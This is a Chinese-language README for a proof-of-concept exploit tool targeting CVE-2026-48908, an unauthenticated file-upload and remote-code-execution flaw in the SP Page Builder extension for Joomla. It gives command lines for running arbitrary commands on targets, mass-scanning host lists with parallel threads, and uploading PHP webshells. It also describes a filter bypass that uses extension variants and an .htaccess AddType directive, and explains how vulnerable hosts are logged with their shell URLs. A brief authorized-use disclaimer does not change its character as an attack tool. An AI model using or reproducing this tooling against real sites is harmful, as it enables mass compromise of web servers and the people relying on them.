
CVE-2026-48908 的未认证RCE PoC — SP Page Builder (Joomla) 任意文件上传和远程代码执行漏洞利用,支持批量扫描。
SP Page Builder (com_sppagebuilder) for Joomla ≤ 6.6.1 允许未认证的攻击者上传任意文件并实现远程代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (访问控制不当) |
| 组件 | SP Page Builder (com_sppagebuilder) |
| 受影响版本 | 1.0.0 – 6.6.1 |
| 修复版本 | 6.6.2 |
| 所需权限 | 无(预认证) |
| 用户交互 | 无 |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # 仅探测,不执行命令
python3 exploit_poc.py https://target.example --token abc123 # 自定义令牌
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 个并行线程
python3 exploit_poc.py --hosts ips.txt --no-verbose # 静默模式
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
注意: 使用
--shell-file时,脚本仅上传 WebShell 并报告 URL。它 不会 执行-c命令或进行任何执行测试。上传的 Shell 必须独立处理命令输入。



扫描后,会保存三个结果文件:
该漏洞利用 com_sppagebuilder 的 asset.uploadCustomIcon 任务:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/。脚本尝试多种 PHP 扩展名(.php、.PHP、.pHp、.Php、.pht、.phtml 等),直到找到可执行的一个。
当 SPPB 的过滤器阻止直接使用 PHP 扩展名时,脚本会在载荷旁边放置一个 .htaccess 文件:
AddType application/x-httpd-php .PHP
这会强制 Web 服务器将 .PHP(大写)视为 PHP —— 绕过 SPPB 的大小写敏感黑名单。需要启用 AllowOverride 且 /media 目录允许 PHP 执行。
注意:
.htaccess+ 大写.PHP的绕过方法可能并非在所有配置下都有效。如果失败,可以尝试使用.png或.jpeg扩展名。在禁用AllowOverride或/media目录禁止 PHP 执行的服务器上,即使上传了 Shell 也无法执行(报告为“仅写入”)。
本 PoC 基于 https://github.com/papageo75/CVE-2026-48908-PoC/ ,并做了以下改进:
某些服务器响应可能在实际 JSON 载荷之前包含非 JSON 前缀(例如 cron 表达式或其他垃圾数据)。原始 PoC 在解析此类响应时会因 r.json() 崩溃。此版本会扫描第一个 { 字符并尝试解码 JSON 子字符串:
之前:
try:
data = r.json()
except ValueError:
return None
之后:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
示例 — 有效的 JSON 响应:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
示例 — 非 JSON 响应(JSON 前有前缀垃圾数据):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
增加了多线程批量扫描功能:
--hosts <file> — 从文件加载目标(每行一个)-j, --threads <n> — 设置并行线程数(默认:10)--no-verbose — 抑制每个主机的详细输出.txt 文件增加了 --shell-file <path> 选项,用于上传自定义 PHP WebShell 替代内置的令牌保护 Shell。使用此选项时:
-c 命令run())custom_shell_hosts.txt仅限授权使用。仅用于经批准的渗透测试、CTF 和实验室目标。您对使用此工具的方式负有全部责任。
| 标志 | 描述 |
|---|
url | 目标 URL(位置参数或 --url) |
--hosts <file> | 包含每行一个主机的文件 |
-c, --cmd <cmd> | 要执行的命令(默认:id) |
--check | 仅探测,不运行命令 |
--token <token> | 保护上传 Shell 的密钥(默认:随机) |
--shell-file <path> | 上传自定义 PHP WebShell 替代内置版本 |
-j, --threads <n> | 批量扫描的并行线程数(默认:10) |
--no-verbose | 抑制每个主机的详细输出 |
| 文件 | 内容 |
|---|
vulnerable_hosts.txt | 已确认存在 RCE 的主机 + WebShell URL |
not_vulnerable_hosts.txt | 已修补或不存在的目标 |
partial_vulnerable_hosts.txt | 能写入文件但无法 PHP 执行的主机 |
custom_shell_hosts.txt | 上传了自定义 Shell 的主机,按基础 URL 分组(仅在使用 --shell-file 时生成) |
scan_results.json | 所有主机的完整 JSON 结果 |